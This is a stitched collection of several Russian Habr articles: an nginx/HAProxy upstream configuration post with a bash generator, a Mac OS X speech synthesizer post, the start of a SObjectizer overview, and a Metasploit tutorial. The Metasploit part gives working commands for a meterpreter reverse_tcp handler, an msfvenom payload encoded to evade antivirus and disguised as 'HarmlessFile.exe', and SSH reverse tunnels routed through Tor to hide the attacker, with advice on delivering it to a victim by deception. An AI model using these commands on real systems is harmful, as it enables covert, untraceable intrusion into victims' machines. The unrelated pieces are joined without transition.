“one” “http://one.domain.net”;
“two” “https://two.domain.org”;
```
Тут у нас сам `server{}`:
```
server {
listen 80;
location / {
proxy_http_version 1.1;
proxy_pass $upstream_address$request_uri;
proxy_set_header Host $upstream_host;
proxy_set_header X-Forwarded-For "";
proxy_set_header X-Forwarded-Port "";
proxy_set_header X-Forwarded-Proto "";
}
}
# service for error handling and logging
server {
listen 127.0.0.1:8080;
location / {
return 400;
}
location /ngx_status/ {
stub_status;
}
}
```
Все классно, все работает. Можно на этом закончить статью, если бы не один нюанс.
При использовании proxy\_pass прямиком на нужный адрес запрос идет, как правило, по протоколу HTTP/1.0 без `keepalive` и закрывается сразу после завершения ответа. Даже если мы выставим `proxy_http_version 1.1`, без апстрима ничего не изменится ([proxy\_http\_version](https://nginx.org/ru/docs/http/ngx_http_proxy_module.html#proxy_http_version)).
Что делать? Первая мысль – завести всех поставщиков в апстримы, где в качестве server будет нужный нам адрес поставщика, а в `map` держать `"tag" "upstream_name"`.
Добавляем еще один `map` для парсинга схемы:
```
### берем префикс из имени домена: .domain.local
map $http\_host $upstream\_prefix {
default 0;
"~^([^\.]+)\." $1;
}
### выбираем нужный адрес по префиксу
map $upstream\_prefix $upstream\_address {
include snippet.d/upstreams\_map;
default http://127.0.0.1:8080;
}
### выставляем переменную upstream\_host исходя из переменной upstream\_address
map $upstream\_address $upstream\_host {
default 0;
"~^https?://([^:]+)" $1;
}
### добавляем парсинг схемы, чтобы к кому надо ходить по https, а к кому надо, но не очень - по http
map $upstream\_address $upstream\_scheme {
default "http://";
"~(https?://)" $1;
}
```
И создаем `upstreams` с именами тегов:
```
upstream one {
keepalive 64;
server one.domain.com;
}
upstream two {
keepalive 64;
server two.domain.net;
}
```
Сам сервер немного видоизменяем, чтобы учитывать схему и вместо адреса использовать имя апстрима:
```
server {
listen 80;
location / {
proxy_http_version 1.1;
proxy_pass $upstream_scheme$upstream_prefix$request_uri;
proxy_set_header Host $upstream_host;
proxy_set_header X-Forwarded-For "";
proxy_set_header X-Forwarded-Port "";
proxy_set_header X-Forwarded-Proto "";
}
}
# service for error handling and logging
server {
listen 127.0.0.1:8080;
location / {
return 400;
}
location /ngx_status/ {
stub_status;
}
}
```
Отлично. Решение работает, добавляем в каждый апстрим директиву `keepalive`, выставляем `proxy_http_version 1.1`, – теперь у нас есть пул соединений, и все работает как надо.
На этот раз точно можно заканчивать статью и идти пить чай. Или нет?
Ведь пока мы пьем чай, у кого-то из поставщиков может под тем же доменом измениться IP адрес или группа адресов (привет, Амазон), тем самым один из поставщиков может отвалиться в самый разгар нашего чаепития.
Ну что же, как быть? Есть у Nginx интересный нюанс: во время reload он может отрезолвить сервера внутри `upstream` в новые адреса и пустить трафик на них. В целом, тоже решение. Закидываем в `cron reload nginx` раз в 5 минут и продолжаем пить чай.
Но все же это показалось мне так себе решением, поэтому я стал косо посматривать в сторону Haproxy.
У Haproxy есть возможность указать `dns resolvers` и настроить `dns cache`. Тем самым Haproxy будет сам обновлять `dns cache`, если записи в нем истекли, и заменять адреса для апстримов в том случае, если они изменились.
Отлично! Теперь осталось дело за настройками.
Вот краткий пример конфигурации для Haproxy:
```
frontend http
bind *:80
http-request del-header X-Forwarded-For
http-request del-header X-Forwarded-Port
http-request del-header X-Forwarded-Proto
capture request header Host len 32
capture request header Referer len 128
capture request header User-Agent len 128
acl host_present hdr(host) -m len gt 0
use_backend %[req.hdr(host),lower,field(1,'.')] if host_present
default_backend default
resolvers dns
hold valid 1s
timeout retry 100ms
nameserver dns1 1.1.1.1:53
backend one
http-request set-header Host one.domain.com
server one--one.domain.com one.domain.com:80 resolvers dns check
backend two
http-request set-header Host two.domain.net
server two--two.domain.net two.domain.net:443 resolvers dns check ssl verify none check-sni two.domain.net sni str(two.domain.net)
```
Кажется, что на этот раз все работает как нужно. Вот только чем мне не нравится Haproxy, так это сложностью описания конфигураций. Нужно настрочить довольно много текста, чтобы добавить один работающий апстрим. Но лень – двигатель прогресса: если не хочется писать одно и то же, напиши генератор.
У меня уже был map из Nginx с форматом `"tag" "upstream"`, поэтому я решил взять его за основу, парсить и генерировать на основании этих значений haproxy backend.
```
#! /usr/bin/env bash
haproxy_backend_map_file=./root/etc/haproxy/snippet.d/name_domain_map
haproxy_backends_file=./root/etc/haproxy/99_backends.cfg
nginx_map_file=./nginx_map
while getopts 'n:b:m:' OPT;do
case ${OPT} in
n)
nginx_map_file=${OPTARG}
;;
b)
haproxy_backends_file=${OPTARG}
;;
m)
haproxy_backend_map_file=${OPTARG}
;;
*)
echo 'Usage: ${0} -n [nginx_map_file] -b [haproxy_backends_file] -m [haproxy_backend_map_file]'
exit
esac
done
function write_backend(){
local tag=$1
local domain=$2
local port=$3
local server_options="resolvers dns check"
[ -n "${4}" ] && local ssl_options="ssl verify none check-sni ${domain} sni str(${domain})"
[ -n "${4}" ] && server_options+=" ${ssl_options}"
cat >> ${haproxy_backends_file} < ${haproxy\_backends\_file}
:> ${haproxy\_backend\_map\_file}
while read tag addr;do
tag=${tag//\"/}
[ -z "${tag:0}" ] && continue
[ "${tag:0:1}" == "#" ] && continue
IFS=":" read scheme domain port <<<${addr//;}
unset IFS
domain=${domain//\/}
case ${scheme} in
http)
port=${port:-80}
write\_backend ${tag} ${domain} ${port}
;;
https)
port=${port:-443}
write\_backend ${tag} ${domain} ${port} 1
esac
done < <(sort -V ${nginx\_map\_file})
```
Теперь все, что нам нужно, это добавить новый хост в nginx\_map, запустить генератор и получить готовый haproxy конфиг.
На сегодня, пожалуй, все. Данная статья относится скорее к вводной и была посвящена проблеме выбора решения и его интеграции в текущее окружение.
В следующей статье я расскажу подробнее о том, какие подводные камни нам встречались при использовании Haproxy, какие метрики оказалось полезно мониторить и что точно стоит оптимизировать в системе, чтобы выжать максимум производительности из серверов.
Всем спасибо за внимание, до встречи! | https://habr.com/ru/post/436992/ | null | ru | null |
# Анонимное подключение к meterpreter/reverse_tcp через промежуточный сервер с помощью SSH-туннелей
Всем привет! Эта статья рассчитана скорее на новичков, которые только начинают своё знакомство с Metasploit Framework, но уже кое-что понимают. Если вы считаете себя опытным специалистом и вас заинтересовало название, можете сразу перейти к [TL;DR;](http://habrahabr.ru/post/272547/#tldr) в конце. Речь в этой статье пойдет о том, как устроить анонимный доступ к meterpriter оболочке посредством reverse tcp с использованием промежуточного сервера и SSH туннелей.
**Дисклеймер:** чукча не писатель, не безопасник и вообще с трудом может причислить себя к профессионалам в какой-либо сфере. Но чукча захотел reverse tcp через tor и сделал, а вам теперь это читать. А так же помните, что производить подобные действия можно только в разрешенных вам местах, иначе вам грозят несколько статей уголовного кодекса.
#### Вступление
Допустим, мы нашли дыру на виндовой машине и хотим на неё проникнуть. Рассмотрим варианты, причем обычный cmd нам неинтересен, то ли дело meterpreter, о нём и поговорим.
Есть два основных принципа соединения с оболочкой meterpreter: прямое и обратное. В meterpreter'е есть множество вариантов подключения, но в рамках этой статьи мы будем говорить только о bind tcp(прямой) и reverse tcp(обратный).
Какие подводные камни нас ждут, если мы хотим использовать **bind tcp**, открыв таким образом порт у жертвы и потом через прокси или тор подключиться? Во-первых, брэндмауэр жертвы поинтересуется, зачем эта непонятная программа пытается выйти в интернет и можно ли ей тут хозяйничать? Допустим, пользователь глуп(что скорее всего так и есть) настолько, чтобы разрешить нашей программе открыть порт, спросите себя, кто нынче выходит в интернет напрямую и имеет белый ip? Мало таких осталось, сейчас везде роутеры, а следовательно наш порт будет доступен только во внутренней сети. Если мы заморочились и прокинули порт наружу, то остаётся полследняя проблемы: нужно знать ip, чтобы подключиться, а он может периодически меняться. Зато, если все перечисленные выше условия выполнены, то можно подключиться через цепочку проксей из любого места.
Что насчет **reverse tcp** подключения? Брэндмауэр не ругается, роутер тоже не помеха — жертва сама подключится к нам, поэтому же отпадает необходимость следить за её ip адресом. Но возникает проблема посерьёзнее — анонимность. Нам нужно указать, куда жертва будет подключаться, то есть написать свой ip, который можно будет увидеть через тот же netstat. И тогда дяди в чистых костюмах или мстительная жертва с нужными знакомыми смогут, как говорится, вычислить по ip и ~~начистить ботинки~~ сами знаете что сделать. Ещё один минус — наш айпи должен быть постоянным, чтобы иметь возможность подключаться к жертве повторно.
Как же быть? Как сохранить анонимность и иметь возможность входа из любого места?
Я нашел следующий выход из этой ситуации: нам нужен промежуточный сервер с ssh доступом, куда жертва будет цепляться по reverse tcp, а мы пробросим себе порт с этого сервера и таким образом подключимся к жертве. Если вам вдруг стало ничего не понятно, то не переживайте, дальше я всё расскажу и покажу.
#### Начальные условия
Весь процесс я буду демонстрировать в следующих условиях:
1. В качестве атакующей стороны будет выступать виртуальная машина **Kali** Linux 2 с IP адресом **192.168.1.50**
2. Жертвой будет виртуалка с **Windows 7**. IP — **192.168.1.146**
3. Промежуточным, читай — **прокси**, сервером будет Fedora с IP **192.168.1.10**
*Не смотрите на то, что они все находятся в одной сети — этот метод прекрасно будет работать в реальных условиях, когда прокси-сервер, жертва и атакующая машина все находятся в разных сетях, но с доступом к интернету.*
Для начала запустим **handler** — программу, которая будет ждать соединения от жертвы на 4444 порту, чтобы при подключении отправить ей meterpreter. Для этого в командной строке Kali запустим **msfconsole** и в ней выполним следующие команды:
Выбираем хэндлер:
```
use exploit/multi/handler
```
Сообщаем, что на жертве у нас будет запущена полезная нагрузка meterpreter с обратным соединением:
```
set PAYLOAD windows/meterpreter/reverse_tcp
```
Указываем параметры нагрузки — будем слушать на порту 4444 нашего ip адреса(почему не 127.0.0.1 расскажу позже).
```
set LHOST 192.168.1.50
set LPORT 4444
```
Запускаем и оставляем в таком виде до лучших времен.
```
run
```
#### Создание exe с полезной нагрузкой
Затем сгенерируем программулину, которая и будет подключаться через прокси к нам. Открываем новую вкладку терминала и набираем следующее:
```
msfvenom -a x86 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=22222 -e x86/shikata_ga_nai -i 13 -b '\x00' > HarmlessFile.exe
```
Кратко расскажу об аргументах.
Первые три очевидны — архитектура процессора, платформа и формат выходного файла. Аргумент -p сразу понятен тем, кто немного знаком с Metasploit: мы выбирали в качестве полезной нагрузки оболочку meterpreter, которая подключится на порт LPORT хоста LHOST, принадлежащие в данном случае нашему прокси-серверу.
Последние 3 аргумента описывают способ шифрования для обхода антивируса(заодно проверим, сможем ли мы обмануть антивирус). В данном случае мы используем 13 итераций полиморфного XOR кодирования shikata ga nai, а при помощи -b помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать. Всё это дело записывается в файл HarmlessFile.exe, который нам нужно с помощью хитрости и обмана доставить жертве. Но я повелитель виртуальных машин, поэтому просто скопирую его из Kali в Windows.
Аваст не повелся и гордо сообщил об угрозе, поэтому и был убит на месте, дабы не мешать испытаниям. Файл на месте, теперь займемся подготовкой нашего сервера.
#### Настройка сервера
Мы будем использовать статический проброс портов.
**Почему статика, а не SOCKS-прокси?**
Говорят, это дельце можно провернуть через SOCKS-прокси, но позвольте сначала рассказать, почему я так не сделал. Для тех кто не в курсе, поясню, что с помощью команды **ssh -D 8181 user@192.168.1.10,** можно открыть SOCKS-прокси на нашем сервере и воспользовавшись, например, proxychains проксировать все запросы через 192.168.1.10. У меня не получилось заставить metasploit работать через proxychains. То есть он вроде запускается через proxychains, но когда дело доходит на запуска хэндлера, слушать он начинает почему-то на моей машине, а не на прокси-сервере.
В созданном нами exe порт был 22222, а на Kali мы слушаем порт 4444. Значит-с, чтобы все запросы идущие на серверный порт 22222 транслировались на наш порт 4444, в Kali нужно написать такую команду:
```
ssh -v -N -R 22222:127.0.0.1:4444 user@192.168.1.10
```
Чтобы разобраться, почему это **не сработает**, поймем чего мы этой командой хотели добиться. Мне нравится, когда на экране есть информация о том, что происходит, поэтому я добавил -v, но доступ к оболочке нам не нужен, поэтому -N(ещё в этом случае нас не будет видно в who на сервере). Магический аргумент -R 127.0.0.1:22222:127.0.0.1:4444 описывает правила перенаправления пакетов: с адреса на сервере 127.0.0.1:22222 на наш локальный адрес 127.0.0.1:4444. Первый 127.0.0.1 подразумевается, поэтому мы его опускаем.
Нюанс в том, что по умолчанию проброшенный таким образом порт на сервере будет доступен только с серверного же localhost'а и при попытке подключиться извне ничего не произойдет и никаких ошибок не будет.
Поправим ситуацию — открываем на прокси-сервере конфиг ssh демона — **/etc/ssh/sshd\_config**, ищем строку **GatewayPorts**, раскомментируем её и устанавливаем в **yes**. Переподгружаем конфиг через **service sshd reload** и теперь со спокойной душей запускаем команду.
А теперь интересный момент. Когда я только это всё изучал, то подобными манипуляциями у меня получилось добиться подключения жертвы к моему хэндлеру и успешно открыть командную строку метерпритера, но при вводе любой команды(даже help) он с дикими ошибками закрывал соединение. Сейчас же, когда я пишу статью, всё работает. Даже если у вас всё заработало и так, всё равно рекомендую к прочтению следующий абзац.
После долгих часов гугления был найден комментарий разработчика метерпритера о том, что не стоит указывать LHOST(то есть адрес хоста, на котором слушать) 127.0.0.1. Нужно писать либо что-то типа 127.0.0.2, либо 0.0.0.0. Но если мы выбираем первый вариант, то и прокидывать порты нужно на 127.0.0.2. Но и с таким вариантом у меня выпадали ошибки. После ещё более долгих часов гугления был найден комментарий другого разработчика, который сказал чуть больше: нельзя вешать не только на 127.0.0.1, но и в принципе на интерфейс loopback, потому что он зарезервирован и работать будет не стабильно, и порекомендовал вешать хэндлер на другой сетевой интерфейс, например eth0. Так что прокидывать мы будем на него же. Команда приобретает следующий вид:
```
ssh -v -N -R 22222:192.168.1.50:4444 user@192.168.1.10
```
Уже лучше, но через proxychains её всё равно не получится запустить. Чтобы поправить это, пробросим через проксичейнс ssh сервера себе, и через него уже пробросим порт метерпритера.
Говорят, proxychains, входящий в стандартную сборку Kali 2 уже староват и давно заброшен. У меня он периодически падал с ошибкой segfault. Поэтому я поставил себе proxychains4(proxychains-ng) [отсюда](https://github.com/rofl0r/proxychains-ng), а старый снёс к чертям и остался доволен, чего и вам советую.
Прокидываем ssh:
```
proxychains4 ssh -v -N -L 42022:127.0.0.1:22 user@192.168.1.10
```
Теперь все запросы на у нас по адресу 127.0.0.1:42022 проходя через proxychains попадают на 192.168.1.10:22 и таким образом у нас появляется анонимный доступ по ssh к прокси-серверу. Через него прокидываем порт метерпритера.
```
ssh -v -N -R 22222:192.168.1.50:4444 user@127.0.0.1 -p 42022
```
Заметьте, что мы подключаемся именно на 127.0.0.1:42022, а не на 192.168.1.10:22. Всё готово! ~~Выпускайте Кракена~~ Запускаем HarmlessFile.exe у жертвы и наслаждаемся результатом.
**TL;DR;**
Используем левый сервер в качестве прокси, к которому будет цепляться meterpreter жертвы с помощью reverse tcp.
1. Запускаем handler в metasploit'e с метерпритером в качестве нагрузки и указываем адрес левого сервера:
```
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST KALI_ETH0_IP
set LPORT PAYLOAD_PORT
```
2. В настройках sshd левого сервера указываем GatewayPorts yes. Через proxychains4, настроенный на тор, сначала пробрасываем себе ssh:
```
proxychains4 ssh -v -N -L 42022:127.0.0.1:22 USER@LEFT_SERVER_IP
```
3. Затем пробрасываем себе порт, на который будет цепляться meterpreter:
```
ssh -v -N -R PAYLOAD_PORT:KALI_ETH0_IP:PAYLOAD_PORT user@127.0.0.1 -p 42002
```
4. Генерируем exe с meterpreter/reverse\_tcp в качестве нагрузки:
```
msfvenom -a x86 --platform Windows -f exe -p windows/meterpreter/reverse_tcp LHOST=LEFT_SERVER_IP LPORT=PAYLOAD_PORT > payload.exe
```
5. Доставляем payload.exe жертве, запускаем, радуемся.
Оговорюсь повторно, что я описал метод, который сработал для меня и выполнил нужную мне задачу — анонимность и мобильной. Может быть есть и другие, более простые пути добиться того же самого, но мне не удалось их раскопать.
Моя первая статья на ваш суд — конструктивная критика приветствуется, об опечатках прошу сообщать в личку.
#### Полезные ссылки:
[Памятка пользователям ssh](http://habrahabr.ru/post/122445/) — замечательное описание возможностей SSH, в частности о SSH-туннелях.
[Meterpreter базовые команды](http://www.stanovlenie.org.ua/meterpreter-basic-commands/) — описание базовых команд Meterpreter'a.
И ещё 2 слегка устаревшие статьи, но в них есть описание более интересных фич Meterpreter.
[Секреты Meterpreter Payload](http://habrahabr.ru/post/131112/)
[Meterpreter в деле: хитрые приемы через msf](https://xakep.ru/2011/03/22/54887/)
[Репозиторий proxychains-ng](https://github.com/rofl0r/proxychains-ng) | https://habr.com/ru/post/272547/ | null | ru | null |
# Речь и VoiceOver в Mac OS X на русском язке
Я кое-что делал для iPhone и столкнулся с интересными «вещами». Эти «вещи» я быстренько приспособил для Mac OS X (развлечения ради), и вот, что получилось… Функционал «Речь» и VoiceOver в Mac OS X на русском языке. Кому-то это может оказаться полезным. Применений можно найти множество, но всё зависит от потребностей.
Эту маленькую статью я разобью на две части. Одна часть для обычных пользователей, которые просто хотят установить поддержку русской речи в Mac OS X. И для начинающих разработчиков, которым я расскажу, как устроен модуль и предоставлю исходные коды.
**Для обычных пользователей**
Системные требования:
* Mac OS X 10.6
* Подключение к сети Интернет
Ссылка на синтезатор:
<http://www.yuriev.info/synth.zip>
**Установка**
Папку «ruSynthesizer.SpeechSynthesizer» необходимо скопировать в папку
*/Library/Speech/Synthesizers*
Папку «Vasilisa.SpeechVoice» необходимо скопировать в папку
*/Library/Speech/Voices*
Если какой-то из папок нет, то её нужно создать. Активировать Василису можно в System Preferences (Системные настройки) > Speech (Речь).
Минусы:
* Необходимо быстрое подключение к сети Интернет
* Низкое качество звука
* Длинные тексты не озвучиваются
**Для начинающих разработчиков**
Мы ничего не будем изучать и придумывать, а просто возьмём «готовое» и вылепим из него синтезатор за 5 минут.
Microsoft развивает семимильными шагами веб-сервис Microsoft Translator (бета). Одно из нововведений во второй версии — озвучивание текста на русском языке. Будем использовать этот веб-сервис.
Мы не будем детально изучать и вдаваться в подробности «Speech Synthesis Manager Reference» и «Speech Synthesis Programming Guide» от Apple, а возьмём готовый пример — SynthesizerAndVoiceExample. Этот пример есть в пакете Xcode v3.1.4. Этот пакет, чтобы достать из него примеры, можно загрузить с сайта Apple. В более поздних версиях Apple удалила все примеры, но выложила их у себя на сайте (SynthesizerAndVoiceExample выложить забыла).
Выкладываю уже готовый изменённый проект:
<http://www.yuriev.info/ruSynthesizer.zip>
По сути нам лишь нужно немного изменить несколько методов (буквально несколько строк в каждом методе) в файл SynthesizerSimulator.m проекта SynthesizerAndVoiceExample:
`- (id)init;
- (void)startSpeaking:(NSString *)string;
- (void)stopSpeaking;
- (void)sound:(NSSound *)sound didFinishPlaying:(BOOL)aBool;`
Самые главные изменения в методе startSpeaking. Мы просто делаем запрос к веб-сервису Microsoft и получаем звуковой файл.
Дополнительно, вам необходимо поставить свой appId при обращении к веб-сервису Microsoft. Его можно бесплатно получить по ссылке <http://www.bing.com/developers/createapp.aspx>
Изменяем описание голосового модуля для синтезатора Info-VoiceCF1.plist. Изменяем имя, локаль и диапазон произносимых символов. Готовый файл можно взять из финального проекта
<http://www.yuriev.info/synth.zip>
Всё, базовый синтезатор готов. 5 минут работы, а кому-то может оказаться очень полезным. | https://habr.com/ru/post/91587/ | null | ru | null |
# SObjectizer: что это, для чего это и почему это выглядит именно так? Взгляд из 2022-го
Шесть лет назад, в июне 2016-го года, вышла [первая статья](https://habr.com/ru/post/304386/) об инструменте, с разработкой которого я связан уже много лет. Шестилетней давности публикация дала толчок интереса к SObjectizer-у и, как я понимаю, кто-то сумел попробовать этот инструмент в деле (или собрался попробовать) именно благодаря той статье. Поскольку за прошедшее время SObjectizer несколько изменился, то я подумал, что не помешало бы выпустить обновленную версию статьи. Исправленную и дополненную. С учетом не только того, что изменилось/появилось/исчезло, но и отталкиваясь от критических отзывов на предыдущие обзорные статьи.
Итак, вашему вниманию предоставляется актуальный взгляд на то, что же это за инструмент, для чего он создавался и почему получился именно таким.
Введение
--------
Разработка многопоточных программ на C++ — это не просто. Разработка больших многопоточных программ на C++ — это очень не просто. Но, как это обычно бывает в C++, жизнь сильно упрощается, если удается подобрать или сделать «заточенный» под конкретную задачу инструмент. Двадцать (да, да, двадцать) лет назад выбирать было особенно не из чего, поэтому мы сами для себя сделали такой «заточенный» инструмент и назвали его SObjectizer. Опыт повседневного использования SObjectizer-а в коммерческом софтостроении все еще не позволяет жалеть о содеянном. А раз так, то почему бы не попробовать рассказать о том, что это, для чего это и почему у нас получилось именно так, а не иначе…
Что это?
--------
[SObjectizer](https://github.com/Stiffstream/sobjectizer) — это небольшой OpenSource инструмент, свободно распространяющийся под 3-пунктной BSD-лицензией. Основная идея, лежащая в основе SObjectizer, — это построение приложения из мелких сущностей-агентов, которые взаимодействуют между собой через обмен сообщениями. SObjectizer при этом берет на себя ответственность за:
* доставку сообщений агентам-получателям внутри одного процесса;
* управление рабочими нитями, на которых агенты обрабатывают адресованные им сообщения;
* механизм таймеров (в виде отложенных и периодических сообщений);
* возможности настройки параметров работы перечисленных выше механизмов.
Можно сказать, что SObjectizer является одной из реализаций [Actor Model](https://en.wikipedia.org/wiki/Actor_model). Однако, главное отличие SObjectizer от других подобных разработок, — это сочетание элементов из Actor Model с элементами из других моделей, в частности, [Publish-Subscribe](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) и [CSP](https://en.wikipedia.org/wiki/Communicating_sequential_processes).
### Сообщения и почтовые ящики как первый краеугольный камень
В «классической» Actor Model каждый актор и есть непосредственный адресат в операции send. Т.е. если мы хотим отослать сообщение какому-то актору, мы должны иметь ссылку на актора-получателя или идентификатор этого актора. Операция send просто добавляет сообщение в очередь сообщений актора-получателя.
В SObjectizer операция send получает ссылку не на актора, а на такую штуку, как mbox (message box, почтовый ящик). Mbox можно рассматривать как некий прокси, скрывающий реализацию процедуры доставки сообщения до получателей. Таких реализаций может быть несколько, и они зависят от типа mbox-а. Если это multi-producer/single-consumer mbox, то, как и в «классической» Actor Model, сообщение будет доставлено единственному получателю, владельцу mbox-а.
А вот если это multi-producer/multi-consumer mbox, то сообщение будет доставлено всем получателям, которые подписались на данный mbox.
Т.е. операция send в SObjectizer больше похожа на операцию publish из модели Publish-Subscribe, нежели на send из Actor Model. Следствием чего является наличие такой полезной на практике возможности, как широковещательная рассылка сообщений.
Механизм доставки сообщений в SObjectizer похож на модель Publish-Subscribe еще и процедурой подписки. Если агент хочет получать сообщения типа A, то он должен подписаться на сообщения типа A из соответствующего mbox-а. Если хочет получать сообщения типа B — должен подписаться на сообщения типа B. И т.д. При этом тип сообщения играет ту же самую роль, как и название топика в модели Publish-Subscribe. Ну и как в модели Publish-Subscribe, где получатель может подписаться на любое количество топиков, агент в SObjectizer может быть подписан на любое количество типов сообщений из разных mbox-ов:
```
class example final : public so_5::agent_t {
...
public :
void so_define_agent() override {
// Подписка разных обработчиков событий на разные сообщения
// из одного mbox-а.
// Тип сообщения автоматически выводится из типа аргумента
// обработчика события.
so_subscribe(some_mbox)
.event( &example::first_handler )
.event( &example::second_handler )
// Обработчик может быть задан и в виде лямбда-функции.
.event( []( const third_message & msg ){...} );
// Подписка одного и того же события на сообщения
// из разных mbox-ов.
so_subscribe(another_mbox).event( &example::first_handler );
so_subscribe(yet_another_mbox).event( &example::first_handler );
...
}
...
private :
void first_handler( const first_message & msg ) {...}
void second_handler( const second_message & msg ) {...}
};
```
### Диспетчеры как второй краеугольный камень
Следующим важным отличием SObjectizer от других реализаций «классической» Actor Model является то, что в SObjectizer у агента нет своей очереди сообщений. Очередь сообщений в SObjectizer принадлежит рабочему контексту, на котором обслуживается агент. А рабочий контекст определяется диспетчером, к которому привязан агент.
[Диспетчер](https://github.com/Stiffstream/sobjectizer/wiki/SO-5.7-InDepth-Dispatchers) — это одно из краеугольных понятий в SObjectizer. Диспетчеры определяют где и когда агенты будут обрабатывать свои сообщения.
Самый простой диспетчер владеет всего одной рабочей нитью. Все привязанные к такому диспетчеру агенты работают на этой общей нити. Эта нить владеет одной единственной очередью сообщений, и сообщения для всех агентов, привязанных к диспетчеру, помещаются в эту единственную очередь. Рабочая нить берет сообщение из очереди, вызывает обработчик сообщения у соответствующего агента-получателя, после чего переходит к следующему сообщению и т.д.
Есть и другие типы диспетчеров. Например, диспетчеры с пулами рабочих потоков, диспетчеры с поддержкой приоритетов агентов и разными политиками обработки этих приоритетов, с отдельным рабочим потоком для каждого агента и т.д.
Во всех случаях рабочий контекст и очередь сообщений для агента назначается диспетчером, к которому привязан агент.
### Кооперации агентов как третий краеугольный камень
Следующей отличительной чертой SObjectizer является наличие такого понятия, как "[кооперация агентов](https://github.com/Stiffstream/sobjectizer/wiki/SO-5.7-InDepth-Coops)". Кооперация — это группа агентов, которая совместно выполняет какую-то прикладную задачу. И эти агенты должны начинать и завершать свою работу единовременно. Т.е. если какой-то агент не может стартовать, то не стартуют и все остальные агенты кооперации. Если какой-то агент не может продолжать работу, то не могут продолжать свою работу и все остальные агенты кооперации.
Кооперации появились в SObjectizer потому, что в изрядном количестве случаев для выполнения более-менее сложных действий приходится создавать не одного, а сразу нескольких взаимосвязанных агентов. Если создавать их по одному, то нужно решить, например:
* кто стартует первым и в каком порядке он создает остальных;
* как уже стартовавшие агенты определят, что все остальные агенты уже созданы и можно начинать свою работу;
* что делать, если при старте очередного агента возникает какая-то проблема.
В случае с кооперациями все проще: взаимосвязанные агенты создаются все сразу, включаются в кооперацию и кооперация регистрируется в SObjectizer. А уже сам SObjectizer следит, чтобы регистрация кооперации выполнялась транзакционно (т.е. чтобы все агенты кооперации стартовали, либо чтобы не стартовал ни один):
```
// Создаем и регистрируем кооперацию из 3-х агентов:
// - первый обслуживает TCP-подключение к MQTT-брокеру и реализует MQTT-протокол;
// - второй выполняет взаимодействие с СУБД.
// - третий выполняет обработку прикладных сообщений от брокера
// (используя при этом функциональность первых двух агентов);
so_5::environment_t & env = ...;
// Сам экземпляр кооперации, в котором будут храниться агенты.
auto coop = env.make_coop();
// Наполняем кооперацию...
coop.make_agent< mqtt_client >(...);
coop.make_agent< db_worker >(...);
coop.make_agent< message_processor >(...);
// Регистрируем кооперацию.
// Дальнейшей ее судьбой будет заниматься сам SObjectizer.
auto coop_handle = env.register_coop( std::move(coop) );
```
Отчасти кооперации решают ту же проблему, что и [система супервизоров в Erlang](http://erlang.org/doc/man/supervisor.html): входящие в кооперацию агенты как бы находятся под контролем супервизора all-for-one. Т.е. сбой одного из агентов приводит к дерегистрации всех остальных агентов кооперации.
### Агенты -- это конечные автоматы
Следующей важной чертой SObjectizer является то, что [агенты в SObjectizer — это конечные автоматы](https://github.com/Stiffstream/sobjectizer/wiki/SO-5.7-InDepth-Agent-States). Агент может иметь произвольное количество состояний, одно из которых в конкретный момент времени является текущим состоянием. Реакция агента на внешнее воздействие зависит как от входящего сообщения, так и от текущего состояния. Агент может обрабатывать одно и то же сообщение по-разному в разных состояниях, для чего он подписывает разные обработчики сообщений в каждом из состояний.
Агенты в SObjectizer могут представлять из себя довольно сложные конечные автоматы: поддерживается вложенность состояний, временные ограничения на пребывания агента в состоянии, состояния с deep- и shallow-history, а также обработчики входа и выхода в состояние.
```
class device_handler final : public so_5::agent_t {
// Перечень состояний, в которых может находиться агент.
// Есть два состояния верхнего уровня...
state_t st_idle{ this }, st_activated{ this },
// ... и три состояния, которые являются подсостояниями
// состояния st_activated.
st_cmd_sent{ initial_substate_of{ st_activated } },
st_cmd_accepted{ substate_of{ st_activated } },
st_failure{ substate_of{ st_activated } };
...
public :
void so_define_agent() override {
// Начинаем работать в состоянии st_idle.
st_idle.activate();
// При получении команды в состоянии st_idle просто меняем
// состояние и делегируем обработку команды состоянию st_activated.
st_idle.transfer_to_state< command >( st_activated );
// В состоянии st_activated реагируем всего на одно сообщение:
// по приходу turn_off возвращаемся в состояние st_idle.
// При этом реакция на сообщение turn_off наследуется
// всеми дочерними состояниями.
st_activated
.event( [this](const turn_off & msg) {
turn_device_off();
st_idle.activate();
} );
// В состояние st_cmd_sent "проваливаемся" сразу после входа
// в состояние st_activated, т.к. st_cmd_sent является начальным
// подсостоянием.
st_cmd_sent
.event( [this](const command & msg) {
send_command_to_device(msg);
// Проверим, что произошло с устройством через 150ms.
send_delayed(\*this, 150ms);
} )
.event( [this](const check\_status &) {
if(command\_accepted())
st\_cmd\_accepted.activate();
else
st\_failure.activate();
} );
...
// В состоянии st\_failure находимся не более 50ms,
// после чего возвращаемся в st\_idle.
// При входе в это состояние принудительно сбрасываем
// настройки устройства.
st\_failure
.on\_enter( [this]{ reset\_device(); } )
.time\_limit( 50ms, st\_idle );
}
...
};
```
Данный фрагмент кода описывает конечный автомат вида:
### Каналы (message chains)
Из CSP-модели SObjectizer позаимствовал такую штуку, как каналы, которые в SObjectizer называются [message chains](https://github.com/Stiffstream/sobjectizer/wiki/SO-5.7-InDepth-Message-Chains). CSP-ные каналы были добавлены в SObjectizer как инструмент для решения одной специфической проблемы: взаимодействие между агентами строится через обмен сообщениями, поэтому очень просто дать какую-то команду агенту или передать какую-то информацию агенту из любой части приложения — достаточно отсылать сообщение посредством send. Однако, как агенты могут воздействовать на не-SObjectizer частью приложения?
Эту проблему решают message chains (mchains). Message chain может выглядеть совсем как mbox: отсылать сообщения в mchain нужно посредством все того же send-а. А вот извлекаются сообщения из mchain функциями receive и select, для работы с которыми не требуется создавать SObjectizer-овских агентов.
Работа с message chain в SObjectizer похожа на работу с [каналами в языке Go](https://habrahabr.ru/post/278349/). Хотя есть и серьезные различия:
* mchains в SObjectizer могут одновременно хранить сообщения любых типов, тогда как Go-шные каналы типизированы;
* mchains в SObjectizer могут иметь, а могут и не иметь ограничений на размер очереди сообщений. Тогда как в Go размер канала ограничен всегда. Для mchain-а с ограниченным размером SObjectizer заставляет выбрать подходящее поведение для попытки поместить новое сообщение в полный mchain (например, подождать какое-то время и выбросить самое старое сообщение из mchain или ничего не ждать и сразу породить исключение).
